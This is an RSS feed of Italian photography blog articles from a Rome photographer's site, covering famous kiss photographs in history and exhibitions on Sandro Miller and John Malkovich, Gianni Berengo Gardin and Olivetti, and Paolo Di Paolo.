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	<title>News Archivi - Silvia Gerbino Photography - Fotografo Roma</title>
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	<description>Fotografo Roma</description>
	<lastBuildDate>Mon, 12 Feb 2024 15:17:18 +0000</lastBuildDate>
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		<title>Baci famosi della Storia della Fotografia</title>
		<link>https://www.silviagerbino.com/baci-famosi-della-storia-della-fotografia/</link>
		
		<dc:creator><![CDATA[Silvia Gerbino]]></dc:creator>
		<pubDate>Mon, 12 Feb 2024 15:09:54 +0000</pubDate>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Alfred Eisenstaedt]]></category>
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		<category><![CDATA[San Valentino]]></category>
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					<description><![CDATA[<p>L'articolo <a href="https://www.silviagerbino.com/baci-famosi-della-storia-della-fotografia/">Baci famosi della Storia della Fotografia</a> sembra essere il primo su <a href="https://www.silviagerbino.com">Silvia Gerbino Photography - Fotografo Roma</a>.</p>
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										<content:encoded><![CDATA[<h6 style="text-align: left;">Che sia travolgente o puro, corrisposto o platonico, tormentato o rassicurante, l’Amore è considerato da sempre il sentimento più forte al mondo. Lo hanno cantato i poeti, gli artisti, i musicisti e anche i fotografi. Nella ricerca del momento decisivo, molti Grandi Fotografi della Storia si sono trovati a raccontare questo sentimento antico, declinandolo in mille modi diversi. E quale gesto può rappresentare l’Amore meglio di un bacio?  Con San Valentino alle porte ecco l’occasione per una carrellata di baci famosi della Storia della Fotografia.</h6>
<ol>
<li>
<p style="text-align: left;"><strong>BACIO DAVANTI ALL’HOTEL DE VILLE &#8211; Robert Doisneau</strong></p>
</li>
</ol>
<p>Il <em>Bacio davanti all’Hotel de Ville</em> è forse la foto di un bacio più famosa al mondo. Fu scattata per uno dei tanti servizi sulla <em>Ville Lumière</em> realizzati da Doisneau per la rivista LIFE. La scena ritrae due giovani innamorati &#8211; <em>Françoise Bornet</em> e <em>Jaques Carteaud &#8211;</em> che si baciano, camminando per le vie di Parigi. La foto è in realtà un’abile messa in scena. Il fotografo, infatti, vide il vero bacio tra i due giovani, ma non osò fotografarli. Scelse invece di avvicinarsi poco dopo e chiedergli di ripetere il bacio. I due accettarono l’insolita richiesta e posarono a favore di camera.</p>
<p><a href="https://www.silviagerbino.com/site/wp-content/uploads/2024/02/1.-Bacio-allHotel-De-Ville.jpg"><img fetchpriority="high" decoding="async" class="alignnone size-full wp-image-9293" src="https://www.silviagerbino.com/site/wp-content/uploads/2024/02/1.-Bacio-allHotel-De-Ville.jpg" alt="" width="1920" height="1080" /></a></p>
<ol start="2">
<li><strong>BACIO A TIME SQUARE &#8211; Alfred Eisentaedt</strong></li>
</ol>
<p>Il <a href="https://www.silviagerbino.com/alfred-eisenstaedt-quello-che-non-sai-sul-bacio-a-time-square/"><em>Bacio a Time Square</em></a> è l’opera più famosa di Alfred Eisentaedt, uno dei padri fondatori del fotogiornalismo mondiale. Molti dei suoi reportage rappresentano momenti indimenticabili della storia mondiale, come nel caso del <em>Bacio a Time Square</em>. Nella foto si vede un marinaio che bacia appassionatamente un’infermiera, durante i festeggiamenti perla fine della Seconda Guerra Mondiale. Non un bacio d’amore, dunque, ma solo l’euforia di un momento. Lo stesso fotografo ammise che non fu il bacio in sé a catturare la sua attenzione, ma l’effetto chiaro-scuro creato dalle loro divise. <em>«Se l’infermiera fosse stata vestita di nero &#8211;</em> disse &#8211; <em>non avrei mai scattato»</em>.</p>
<p><a href="https://www.silviagerbino.com/site/wp-content/uploads/2024/02/2.-Bacio-a-Time-Square.jpg"><img decoding="async" class="alignnone size-full wp-image-9294" src="https://www.silviagerbino.com/site/wp-content/uploads/2024/02/2.-Bacio-a-Time-Square.jpg" alt="" width="880" height="1166" /></a></p>
<ol start="3">
<li><strong>CALFORNIA KISS &#8211; Elliott Erwitt</strong></li>
</ol>
<p>Scatto romantico e soprattutto originale, <em>California Kiss</em> di Elliott Erwitt, ritrae una coppia che si bacia dento un’automobile, la cui immagine viene riflessa dallo specchietto retrovisore. Sullo sfondo, il mare di Santa Monica al tramonto. L’immagine è evocativa e offre uno sguardo su una narrazione che è intima e privata. La strategia compositiva di incorniciare le figure all’interno dello specchietto rende il gesto semplice di un bacio straordinariamente dinamico. Erwitt amava fare le cosiddette fotografie “impossibili”: persone in rapido movimento, bambini, animali, scene comiche. In questo caso &#8211; come lui stesso dichiarò in numerose interviste &#8211; si trattò di vera e propria fortuna: trovarsi nel posto giusto al momento giusto.</p>
<p><a href="https://www.silviagerbino.com/site/wp-content/uploads/2024/02/3.-California-Kiss.jpg"><img decoding="async" class="alignnone size-full wp-image-9295" src="https://www.silviagerbino.com/site/wp-content/uploads/2024/02/3.-California-Kiss.jpg" alt="" width="1096" height="725" /></a></p>
<ol start="4">
<li><strong>AMERIGO VESPUCCI APPENA PRIMA DELLA PARTENZA &#8211; Roberto Borra</strong></li>
</ol>
<p>In questo caso, lo scatto è più famoso del fotografo. La scena dei baci rubati dai cadetti dell’<a href="https://it.wikipedia.org/wiki/Amerigo_Vespucci_(veliero)">Amerigo Vespucci</a> alle ragazze del porto è diventata molto celebre, sebbene il suo autore – Roberto Borra – non sia altrettanto famoso. All’epoca, Borra era sottoufficiale e fotografo di bodo per l’Amerigo Vespucci. La foto è stata scattata nel 1963, presso il porto di Miami. È uno scatto corale, carico di emotività: la malinconia avvolge le giovani coppie costrette a separarsi.</p>
<p><a href="https://www.silviagerbino.com/site/wp-content/uploads/2024/02/4.-Amerigo-Vespucci-prima-della-partenza.jpg"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-9296" src="https://www.silviagerbino.com/site/wp-content/uploads/2024/02/4.-Amerigo-Vespucci-prima-della-partenza.jpg" alt="" width="880" height="1048" /></a></p>
<ol start="5">
<li><strong>IL BACIO DELLA VITA – Rocco Morabito</strong></li>
</ol>
<p>Salvare una vita è forse la più alta declinazione dell’amore e questo scatto rappresenta proprio questo concetto. Non un bacio di passione, dunque, ma <em>Il</em> <em>bacio della vita</em>, come il titolo stesso suggerisce. Lo scatto &#8211; datato 1967 &#8211;  mostra l’elettricista <em>J.D. Thompson</em> intento a effettuare una respirazione bocca a bocca al collega <em>R.G. Champion</em>, rimasto folgorato da un cavo elettrico, sul posto di lavoro. Dopo averlo rianimato, Thompson lo riportò a terra, praticandogli la rianimazione cardiopolmonare fino all’arrivo dei soccorsi. Grazie al suo intervento l’uomo sopravvisse. L’autore dello scatto è Rocco Morabito che in quel momento si trovò casualmente sul luogo dell’incidente. Questa fotografia gli valse il Premio Pulitzer nel 1968.</p>
<p><a href="https://www.silviagerbino.com/site/wp-content/uploads/2024/02/5.-Il-bacio-della-vita.jpg"><img loading="lazy" decoding="async" class="alignnone wp-image-9297" src="https://www.silviagerbino.com/site/wp-content/uploads/2024/02/5.-Il-bacio-della-vita.jpg" alt="" width="1106" height="1387" /></a></p>
<ol start="6">
<li><strong>BACI &#8211; Gianni Berengo Gardin</strong></li>
</ol>
<p>Il tema del bacio è ricorrente negli scatti di Berengo Gardin, affascinato dal fatto che in Francia fosse consentito baciarsi in pubblico, mentre in Italia, negli anni 50 si correva il rischio di essere accusati di oltraggio al pudore. Molti i baci fotografati per le strade di Parigi, seguiti poi da quelli italiani: nelle stazioni ferroviarie, in per strada, sotto i portici a Venezia. Quelli di Gianni Berengo Gardin sono baci rubati, fuori dai canoni estetici tradizionali e lontani dalla ricerca di un allestimento scenico tipico del genere.</p>
<p><a href="https://www.silviagerbino.com/site/wp-content/uploads/2024/02/6.-Baci-Gianni-Berengo-Gardin.jpg"><img loading="lazy" decoding="async" class="alignnone wp-image-9298" src="https://www.silviagerbino.com/site/wp-content/uploads/2024/02/6.-Baci-Gianni-Berengo-Gardin.jpg" alt="" width="1250" height="1915" /></a></p>
<p><strong>7. IL BACIO DELLA LIBERAZIONE – Tony Vaccaro</strong></p>
<p>Il bacio della Liberazione è uno degli scatti più noti di Tony Vaccaro, fotoreporter dell’ottantatreesima divisione di Fanteria dell’esercito americano.  Nella foto si vede un soldato, mentre bacia teneramente una bambina, alla fine della guerra. Il bacio come cura per le ferite inflitte dalla Guerra.</p>
<p><a href="https://www.silviagerbino.com/site/wp-content/uploads/2024/02/9.Il-bacio-della-liberazione.jpg"><img loading="lazy" decoding="async" class="alignnone wp-image-9299" src="https://www.silviagerbino.com/site/wp-content/uploads/2024/02/9.Il-bacio-della-liberazione.jpg" alt="" width="833" height="1215" /></a></p>
<ol start="8">
<li><strong>Il bacio &#8211; Furman S. Baldwin</strong></li>
</ol>
<p>Il bacio di Baldwin, datato 1947, mostra una scena diversa da quelle viste finora. Protagonisti del suo famoso scatto sono il figlio di 2 anni e mezzo e due bimbe del vicinato. In questa foto, accanto ai due bambini che si baciano vi è una terza bambina, colta in un momento di gelosia, visibilmente indispettita dal gesto di confidenza dei due. La fama di questo fotografo è dovuta sostanzialmente a quest’unico scatto.</p>
<p><a href="https://www.silviagerbino.com/site/wp-content/uploads/2024/02/Bacio-Balwin.jpg"><img loading="lazy" decoding="async" class="alignnone wp-image-9300" src="https://www.silviagerbino.com/site/wp-content/uploads/2024/02/Bacio-Balwin.jpg" alt="" width="1149" height="859" /></a></p>
<ol start="9">
<li><strong>L’ULTIMA FOTO DI JOHN LENNON &#8211; Annie Leibovitz</strong></li>
</ol>
<p>La foto di John Lennon, completamente nudo, che bacia la moglie Yoko Ono è nota grazie alla famosa copertina di <a href="https://www.rollingstone.com/"><em>Rolling Stones</em></a>, realizzata da Annie Leibovitz nel 1981. Questo scatto ha intorno a sé un’aura di unicità dovuta alla tragica fine del front-man dei Beatles.</p>
<p>La mattina dell’8 Dicembre del 1980, Annie Leibovitz raggiunse Lennon e la moglie al Dakota Building di New York, per realizzare il servizio per Rolling Stones. Durante la sessione fotografia, Lennon decise di coinvolgere anche Yoko Ono, dando vita a questa scena. Annie Leibovitz scattò questa foto alle 11.30 della mattina. Alle 22.50, John Lennon morì per mano di Mark David Chapman, un fan squilibrato, che gli sparò alle spalle, con una calibro 38.</p>
<p><a href="https://www.silviagerbino.com/site/wp-content/uploads/2024/02/John-Lennon-Yoko-Ono.jpg"><img loading="lazy" decoding="async" class="alignnone wp-image-9301" src="https://www.silviagerbino.com/site/wp-content/uploads/2024/02/John-Lennon-Yoko-Ono.jpg" alt="" width="872" height="1130" /></a></p>
<ol start="10">
<li><strong>RIOT KISS &#8211; Richard Lam</strong></li>
</ol>
<p>I baci continuano ad attrarre l’attenzione dei fotografi anche ai giorni nostri. È il caso della foto di Richard Lam, scattata nel 2011 durante la rivolta dei tifosi di hockey dei Vancouver Canucks. La foto fece molto discutere. In primo piano si vede un poliziotto in tenuta antisommossa, sullo sfondo due giovani si baciano, sdraiati a terra. Come raccontato dagli stessi ragazzi &#8211; Scott Jones e Alex Thomas – nel caos generale, dopo essere stati presi a calci da due poliziotti, Scott cerca di tranquillizzare la ragazza con un bacio.</p>
<p><a href="https://www.silviagerbino.com/site/wp-content/uploads/2024/02/vancouverkiss-620x413-1.jpg"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-9302" src="https://www.silviagerbino.com/site/wp-content/uploads/2024/02/vancouverkiss-620x413-1.jpg" alt="" width="1600" height="1066" /></a></p>
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		<title>Sandro Miller e John Malkovich in mostra a Trieste con un omaggio ai maestri della fotografia</title>
		<link>https://www.silviagerbino.com/sandro-miller-e-john-malkovich-in-mostra-a-trieste-con-un-omaggio-ai-maestri-della-fotografia/</link>
		
		<dc:creator><![CDATA[Silvia Gerbino]]></dc:creator>
		<pubDate>Tue, 03 Nov 2020 17:31:11 +0000</pubDate>
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					<description><![CDATA[<p>Dal 31 ottobre al 31 gennaio 2021, il Magazzino delle idee di Trieste ospiterà la mostra di Sandro Miller, Malkovich Malkovich Malkovich! Homage to Photographic Masters. Inizialmente programmata marzo (e rimandata a causa della pandemia), la mostra è curata da Anne Morin e Simona [&#8230;]</p>
<p>L'articolo <a href="https://www.silviagerbino.com/sandro-miller-e-john-malkovich-in-mostra-a-trieste-con-un-omaggio-ai-maestri-della-fotografia/">Sandro Miller e John Malkovich in mostra a Trieste con un omaggio ai maestri della fotografia</a> sembra essere il primo su <a href="https://www.silviagerbino.com">Silvia Gerbino Photography - Fotografo Roma</a>.</p>
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										<content:encoded><![CDATA[<div id="pl-9029"  class="panel-layout" ><div id="pg-9029-0"  class="panel-grid panel-no-style" ><div id="pgc-9029-0-0"  class="panel-grid-cell" ><div id="panel-9029-0-0-0" class="so-panel widget widget_sow-editor panel-first-child panel-last-child" data-index="0" ><div
			
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	<h6><span style="color: #000000;">Dal 31 ottobre al 31 gennaio 2021,</span> il <a href="https://magazzinodelleidee.it/">Magazzino delle idee di Trieste</a><span style="color: #000000;"> ospiterà la mostra di Sandro Miller, <strong><em>Malkovich Malkovich Malkovich! Homage to Photographic Masters</em></strong><em>. </em></span></h6>
</div>
</div></div></div></div><div id="pg-9029-1"  class="panel-grid panel-no-style" ><div id="pgc-9029-1-0"  class="panel-grid-cell" ><div id="panel-9029-1-0-0" class="so-panel widget widget_sow-editor panel-first-child panel-last-child" data-index="1" ><div
			
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<div class="siteorigin-widget-tinymce textwidget">
	<p style="text-align: justify;"><span style="color: #000000;">Inizialmente programmata marzo (e rimandata a causa della pandemia)<em>, </em>la mostra è curata da Anne Morin e Simona Cossu e organizzata dall’<a style="color: #000000;" href="http://www.ipac.regione.fvg.it/aspx/Home.aspx?idAmb=107&amp;idMenu=-1&amp;liv=0">Ente regionale per il patrimonio culturale Erpac</a>, in collaborazione con <a style="color: #000000;" href="https://www.dichroma-photography.com/">diChroma Photography</a>, La Chrome di Madrid e la <a style="color: #000000;" href="https://www.gallery51.com/">Galleria Fifty One</a> di Anversa. </span><span style="color: #000000;">L’idea di <strong><a style="color: #000000;" href="http://www.sandrofilm.com/">Sandro Miller</a></strong> è quella di rendere omaggio ai fotografi che hanno influenzato il suo percorso e, per farlo, utilizza il suo amico e attore di successo <a style="color: #000000;" href="https://it.wikipedia.org/wiki/John_Malkovich"><strong>John Malkovich</strong></a>.</span></p>
</div>
</div></div></div></div><div id="pg-9029-2"  class="panel-grid panel-no-style" ><div id="pgc-9029-2-0"  class="panel-grid-cell" ><div id="panel-9029-2-0-0" class="so-panel widget widget_sow-image panel-first-child panel-last-child" data-index="2" ><div
			
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	<p><strong><u>Chi è Sandro Miller</u></strong></p>
<p style="text-align: justify;">Sandro Miller nasce a Elgin (Illinois) nel 1958 e si avvicina alla fotografia da giovanissimo, ispirato dalle immagini di Irving Penn. Durante la sua carriera, si occupa di campagne pubblicitarie per noti brand come <em>Adidas, American Express, Nike </em>e<em> Pepsi</em>, ma dona il suo talento anche a progetti di beneficenza come l'<em>AIDS Chicago e</em> l'<em>American Cancer</em> <em>Society</em><em>. </em>Tra le collaborazioni di Miller, spunta anche quella con <em>Nikon,</em> per la quale porta a termine progetti come il servizio fotografico in Croazia (con Malkovich), la gara motociclistica a Brainerd, la foto della squadra di roller derby The Windy City Rollers e i video dell’artista Philippe Petit. Recentemente, si è aggiunto ai progetti realizzati con Nikon anche il video <em>Joy Ride</em>, il cui protagonista è un motociclista che corre per le strade di Chicago, verso una misteriosa missione.</p>
<p style="text-align: justify;">Negli anni, Sandro Miller ha collezionato numerosi riconoscimenti, come il premio di miglior fotografo dell’anno dalla <em>Lucie Foundation</em>, per le foto del progetto <em>Malkovich, Malkovich, Malkovich: Homage to the Photographic Masters</em>, e il riconoscimento <em>Saatchi &amp; Saatchi</em> come miglior regista esordiente, per il cortometraggio <em>Butterflies (</em>sempre con John Malkovich). Nel novembre del 2013, si reca in Marocco per un reportage e fotografa oltre duecento commercianti, nomadi, incantatori di serpenti, cercatori di fossili e musicisti. Di recente è stato inserito tra i migliori 200 fotografi pubblicitari al mondo.</p>
</div>
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	<p style="text-align: justify;"><strong><u>Il percorso della mostra</u></strong></p>
<p style="text-align: justify;">Il progetto di <em><strong>Malkovich Malkovich Malkovich! Homage to Photographic Masters</strong></em><em>, </em>nasce dalla volontà di omaggiare 34 maestri della fotografia, fra cui Annie Leibovitz, Herb Ritts, Irving Penn, Richard Avedon e molti altri. Ogni fotografia riproduce fedelmente lo scatto originale al quale si ispira, esaltando le doti dell’attore John Malkovich che - ogni volta -  interpreta un soggetto diverso per età, sesso e stato d’animo.<em> «Non volevo che fosse una parodia. – </em>afferma lo stesso Miller <em>– Rendere omaggio ai fotografi e alle fotografie che hanno cambiato il mio punto di vista sulla fotografia è una cosa seria per me. Queste immagini mi hanno ispirato durante la mia carriera, facendomi diventare il fotografo che sono oggi.»</em></p>
<p style="text-align: justify;">Le prime collaborazioni con Malkovich risalgono agli anni novanta, con la <em>Steppenwolf Theater Company </em>di Chicago, ma l’idea per questo progetto nasce nel 2013, quando Miller nota una somiglianza tra l’attore e Truman Capote e gli propone di posare nei suoi panni. Da questo primo scatto nascono tutte le altre fotografie del progetto.</p>
<p style="text-align: justify;">Il percorso della mostra offre un’accattivante visione di scatti famosi, reinterpretati dal talento mimetico di John Malkovich. Dal volto della <em>Madre Migrante</em> di Dorothea Lange, alle <em>Gemelle identiche</em> di Diane Arbus, fino alla Meryl Streep di Annie Leibovitz, Malkovich interpreta volti femminili con straordinaria naturalezza.</p>
</div>
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	<p style="text-align: justify;">Ore di trucco e travestimenti, studiati senza lasciare nulla al caso, trasformano poi l’attore statunitense nella versione di Joker interpretata da Jack Nicholson e immortalata da Herb Rittz nel 1988. Segue il famoso scatto di Einstein che mostra la lingua ad Arthur Sasse, Salvador Dalì fotografato da Philippe<strong> </strong>Halsman e nuomerose altre interpretazioni degli scatti di Mapplethorpe, Warhol ed altri.</p>
</div>
</div></div></div></div><div id="pg-9029-7"  class="panel-grid panel-no-style" ><div id="pgc-9029-7-0"  class="panel-grid-cell" ><div id="panel-9029-7-0-0" class="so-panel widget widget_sow-image panel-first-child panel-last-child" data-index="7" ><div
			
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	<p style="text-align: justify;">Arricchiscono l’esposizione tre ritratti non appartenenti al progetto originario, che rappresentano Malkovich nei panni di Papa Giovanni XXIII, Adolf Hitler e Salomè con la testa di Giovanni Battista.</p>
<p style="text-align: justify;"><strong><u>Malkolynch: una sezione inedita</u></strong></p>
<p style="text-align: justify;">A conclusione del percorso espositivo, Miller inserisce una sezione inedita chiamata Malkolynch. Gli scatti sono quelli del progetto <em>Psychogenic Fugue</em>, un cortometraggio frutto della collaborazione tra Malkovich e il regista David Lynch. Nel video, Malkovich reinterpreta otto dei personaggi più noti di Lynch, come ad esempio il protagonista di Elephant Man e l’agente Cooper Twin Peaks. Il gran finale è affidato all’interpretazione di Lynch stesso, da parte di Malkovich.</p>
</div>
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	<p style="text-align: justify;">La mostra <em><strong>Malkovich Malkovich Malkovich! Homage to Photographic Masters </strong></em><em>è una straordinaria occasione per un viaggio a doppio binario tra fotografia e cinema e tra realtà e interpretazione. È visitabile fino al 31 gennaio 2021 presso il </em><a href="https://magazzinodelleidee.it/"><em>Magazzino delle idee</em></a> di Trieste e accompagnata dal volume omonimo, edito da Skira Milano.</p>
</div>
</div></div></div></div></div><p>L'articolo <a href="https://www.silviagerbino.com/sandro-miller-e-john-malkovich-in-mostra-a-trieste-con-un-omaggio-ai-maestri-della-fotografia/">Sandro Miller e John Malkovich in mostra a Trieste con un omaggio ai maestri della fotografia</a> sembra essere il primo su <a href="https://www.silviagerbino.com">Silvia Gerbino Photography - Fotografo Roma</a>.</p>
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			</item>
		<item>
		<title>&#8220;Gianni Berengo Gardin e la Olivetti&#8221; al CAMERA di Torino dal 1° Ottobre 2020</title>
		<link>https://www.silviagerbino.com/gianni-berengo-gardin-e-la-olivetti-al-camera-di-torino-dal-1-ottobre-2020/</link>
		
		<dc:creator><![CDATA[Silvia Gerbino]]></dc:creator>
		<pubDate>Sat, 26 Sep 2020 15:28:04 +0000</pubDate>
				<category><![CDATA[News]]></category>
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					<description><![CDATA[<p>Il 1° Ottobre 2020, il CAMERA - Centro Italiano per la Fotografia - di Torino inaugura la mostra "Gianni Berengo Gardin e la Olivetti", dedicata dall’istituzione torinese e dall’Associazione Archivio Storico Olivetti, in collaborazione col Museo Civico P. A. Garda [&#8230;]</p>
<p>L'articolo <a href="https://www.silviagerbino.com/gianni-berengo-gardin-e-la-olivetti-al-camera-di-torino-dal-1-ottobre-2020/">&#8220;Gianni Berengo Gardin e la Olivetti&#8221; al CAMERA di Torino dal 1° Ottobre 2020</a> sembra essere il primo su <a href="https://www.silviagerbino.com">Silvia Gerbino Photography - Fotografo Roma</a>.</p>
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										<content:encoded><![CDATA[<div id="pl-8971"  class="panel-layout" ><div id="pg-8971-0"  class="panel-grid panel-no-style" ><div id="pgc-8971-0-0"  class="panel-grid-cell" ><div id="panel-8971-0-0-0" class="so-panel widget widget_sow-editor panel-first-child panel-last-child" data-index="0" ><div
			
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	<h6 class="p1" style="text-align: justify;">Il 1° Ottobre 2020, il <a href="https://camera.to/">CAMERA - <em>Centro Italiano per la Fotografia</em></a> - di Torino inaugura la mostra "<b><i>Gianni Berengo Gardin e la Olivetti"</i></b>, dedicata dall’istituzione torinese e dall’Associazione Archivio Storico Olivetti, in collaborazione col Museo Civico P. A. Garda di Ivrea, all’opera di uno dei più importanti fotoreporter italiani.</h6>
</div>
</div></div></div></div><div id="pg-8971-1"  class="panel-grid panel-no-style" ><div id="pgc-8971-1-0"  class="panel-grid-cell" ><div id="panel-8971-1-0-0" class="so-panel widget widget_sow-editor panel-first-child panel-last-child" data-index="1" ><div
			
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	<p class="p1" style="text-align: justify;">La mostra - allestita nella Project Room - nasce da un progetto di ricerca del 2018, promosso dall’<a href="https://www.archiviostoricolivetti.it/">Associazione Archivio Storico Olivetti</a> e si sviluppato insieme al Dipartimento Archivi del <a href="http://camera.to/">CAMERA</a>, con lo scopo di mappare e valorizzazione i fondi fotografici conservati a Ivrea. Curato da <em>Margherita Naim</em> e <em>Giangavino Pazzola</em>, il progetto espositivo sottolinea lo stretto rapporto tra il fotografo e l'azienda di Ivrea, attraverso una selezione di oltre 70 immagini in bianco e nero - quasi tutte inedite - accompagnate da pubblicazioni e documenti d’archivio.</p>
<p class="p1" style="text-align: justify;"><a href="https://it.wikipedia.org/wiki/Gianni_Berengo_Gardin">Gianni Berengo Gardin</a> ha collaborato a lungo con la Società <a href="https://it.wikipedia.org/wiki/Olivetti">Olivetti</a> descrivendo, attraverso i suoi servizi fotografici, il valore sociale del progetto d’architettura e l’organizzazione di una fabbrica orientata al progresso culturale.</p>
</div>
</div></div></div></div><div id="pg-8971-2"  class="panel-grid panel-no-style" ><div id="pgc-8971-2-0"  class="panel-grid-cell" ><div id="panel-8971-2-0-0" class="so-panel widget widget_sow-image panel-first-child panel-last-child" data-index="2" ><div
			
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	</div>

</div></div></div></div><div id="pg-8971-3"  class="panel-grid panel-no-style" ><div id="pgc-8971-3-0"  class="panel-grid-cell" ><div id="panel-8971-3-0-0" class="so-panel widget widget_sow-editor panel-first-child panel-last-child" data-index="3" ><div
			
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	<p class="p4" style="text-align: justify;">La mostra - visitabile dal 1° Ottobre al 15 Novembre 2020 - si inserisce all’interno dei festeggiamenti del quinto compleanno del CAMERA ed è inoltre un omaggio a Gianni Berengo Gardin, in occasione dei suoi 90 anni.</p>
<p class="p6" style="text-align: justify;">Sarà possibile visitare la mostra anche negli spazi del <a href="https://www.museogardaivrea.it/">Museo Civico “P.A. Garda”</a> di Ivrea, dal 28<span class="Apple-converted-space">  </span>Novembre al 28 Marzo 2021.</p>
</div>
</div></div></div></div><div id="pg-8971-4"  class="panel-grid panel-no-style" ><div id="pgc-8971-4-0"  class="panel-grid-cell" ><div id="panel-8971-4-0-0" class="so-panel widget widget_sow-image panel-first-child panel-last-child" data-index="4" ><div
			
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	</div>

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	<p id="è maiuscola (È) in italiano"><strong>CAMERA - <em>Centro Italiano per la Fotografia </em></strong><br />
Via delle Rosine 18 – 10123 Torino<br />
<a href="http://camera.to/" data-dtype="d3ifr" data-local-attribute="d3ph" data-ved="2ahUKEwiggcyE4oTsAhXDsKQKHY1SCggQkAgoADAVegQIGBAT"><span role="link" aria-label="Chiama il numero di telefono 011 088 1150">www.camera.to</span></a></p>
</div>
</div></div></div></div></div><p>L'articolo <a href="https://www.silviagerbino.com/gianni-berengo-gardin-e-la-olivetti-al-camera-di-torino-dal-1-ottobre-2020/">&#8220;Gianni Berengo Gardin e la Olivetti&#8221; al CAMERA di Torino dal 1° Ottobre 2020</a> sembra essere il primo su <a href="https://www.silviagerbino.com">Silvia Gerbino Photography - Fotografo Roma</a>.</p>
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		<title>Mondo Perduto: gli scatti di Paolo Di Paolo in mostra al MAXXI di Roma</title>
		<link>https://www.silviagerbino.com/mondo-perduto-gli-scatti-di-paolo-di-paolo-in-mostra-al-maxxi-di-roma/</link>
		
		<dc:creator><![CDATA[Silvia Gerbino]]></dc:creator>
		<pubDate>Thu, 25 Apr 2019 19:19:20 +0000</pubDate>
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					<description><![CDATA[<p>«Per me e per altri amici muore oggi l'ambizione di essere fotografi». Così, Paolo Di Paolo annunciava la fine della sua carriera fotografica, in un telegramma inviato al suo direttore, Mario Pannunzio, dopo la chiusura del settimanale Il Mondo, nel [&#8230;]</p>
<p>L'articolo <a href="https://www.silviagerbino.com/mondo-perduto-gli-scatti-di-paolo-di-paolo-in-mostra-al-maxxi-di-roma/">Mondo Perduto: gli scatti di Paolo Di Paolo in mostra al MAXXI di Roma</a> sembra essere il primo su <a href="https://www.silviagerbino.com">Silvia Gerbino Photography - Fotografo Roma</a>.</p>
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										<content:encoded><![CDATA[<div id="pl-7287"  class="panel-layout" ><div id="pg-7287-0"  class="panel-grid panel-no-style" ><div id="pgc-7287-0-0"  class="panel-grid-cell" ><div id="panel-7287-0-0-0" class="so-panel widget widget_sow-editor panel-first-child" data-index="0" ><div
			
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	<h6 style="text-align: justify;"><em>«Per me e per altri amici muore oggi l'ambizione di essere fotografi».</em></h6>
<h6 style="text-align: justify;">Così, Paolo Di Paolo annunciava la fine della sua carriera fotografica, in un telegramma inviato al suo direttore, Mario Pannunzio, dopo la chiusura del settimanale <em>Il Mondo</em>, nel 1966.</h6>
<p style="text-align: justify;">Paolo Di Paolo è stato tra i più grandi cantori dell’Italia degli anni 50 e 60. I suoi ritratti e i reportage hanno lasciato il segno, così come la drastica decisione di abbandonare la fotografia, appena quarantenne. La sua fu una scelta difficile, sostenuta però da un vivo e sincero amore per la fotografia. Erano gli anni dei paparazzi e a nessuno interessava più la poesia del quotidiano, della gente comune, di una nazione che provava a rialzarsi dopo la guerra. L’affannosa ricerca dello scoop aveva fatto sì che le riviste smettessero di pubblicare quelle che, per Di Paolo, erano le vere fotografie. Paolo Di Paolo lascia dunque la fotografia, per ritirarsi in campagna e riprendere i suoi studi di Filosofia e ricerca storica. L’Italia perde così, in un lampo, uno dei più grandi fotografi dell’epoca, di cui per anni non si è saputo più nulla.</p>
</div>
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	<p style="text-align: justify;"><strong>Ma chi è veramente Paolo Di Paolo?</strong></p>
<p style="text-align: justify;">La mostra, inaugurata pochi giorni fa al <span style="color: #000000;"><a style="color: #000000;" href="https://www.maxxi.art/">MAXXI</a> </span>di Roma, lo spiega in modo più che mai esaustivo, con oltre 250 bianchi e neri, che attraversano un decennio di cultura, moda, cinema e costumi degli italiani. Molte delle fotografie esposte sono inedite e provengono dall’archivio ritrovato per caso da sua figlia Silvia, circa vent’anni fa.</p>
<p style="text-align: justify;">Gli scatti di Paolo Di Paolo offrono una straordinaria lettura degli anni 50 e 60, muovendosi con leggerezza tra l’Italia del dopoguerra - segnata dalla povertà e dall’analfabetismo - e il mondo dell’arte - con ritratti intensi di molti nomi noti della letteratura e del cinema. Il lavoro di Di Paolo consiste in un dialogo continuo con i suoi soggetti. Nulla è lasciato al caso e nulla è “rubato”. Di Paolo sembra raccontare qualcosa di profondamente intimo e inatteso, qualcosa di più di ciò che si vede semplicemente guardando.</p>
</div>
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	<p style="text-align: justify;">Un grande spazio espositivo è dedicato alla città di Roma, dove Di Paolo ha avuto occasione di lavorare a lungo. I suoi scatti viaggiano tra la nobiltà romana e all’alta società internazionale, passando per la serie che ritrae Mimmo Rotella mentre realizza un suo <em>décollage </em>a Piazza del Popolo e i funerali di Palmiro Togliatti. Ogni evento è salutato da Di Paolo come un’occasione unica e rispettato nella sua naturalezza.</p>
<p style="text-align: justify;">Nel percorso della mostra, è inoltre possibile osservare da vicino gli scatti dedicati a <strong>Pier Paolo Pasolini</strong>, ritratto a casa con la madre, sulla tomba di Gramsci - al Cimitero Acattolico - e sul set de <em>Il Vangelo secondo Matteo</em>. Il focus dedicato a Pasolini introduce il reportage “La lunga strada di sabbia” (1959), realizzato insieme a lui per il settimanale <em>Il Tempo</em> e il mensile <em>Successo</em>, di Arturo Tofanelli.</p>
</div>
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	<p style="text-align: justify;">Una delle immagini più iconiche di questa serie, ritrae proprio Pasolini che passeggia sulla spiaggia del Cinquale (Massa-Carrara), ma anche <em>Viareggio</em>, un delizioso spaccato della gioventù locale che ritrae due giovani in vespa, intenti a osservare due ragazze in shorts. Grazie a questo reportage tra Di Paolo e Pasolini nascerà un sodalizio destinato a durare nel tempo, pur con obiettivi e vedute assai diverse.</p>
</div>
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	<p style="text-align: justify;">La mostra offre l’occasione di ammirare alcuni scatti esclusivi di <strong>Anna Magnani</strong>, ritratta nella sua villa al Circeo, distesa ad occhi chiusi sulla spiaggia. «La Magnani – ha dichiarato Di Paolo - era una tigre se percepiva ostilità, meravigliosa se sentiva amicizia, io fui il primo a fotografarla con suo figlio».</p>
<p style="text-align: justify;">Nelle fotografie di Di Paolo c’è sempre una grande umanità. Il suo racconto è fiero e a tratti commovente e offre spunti di riflessione importanti. Se amate la fotografia di una volta, i bianchi e neri intensi e i volti che hanno fatto la storia del cinema nazionale, non potrete rinunciare a questa mostra, visitabile presso il MAXXI, fino al 30 giugno. Che state aspettando?</p>
</div>
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	</div>

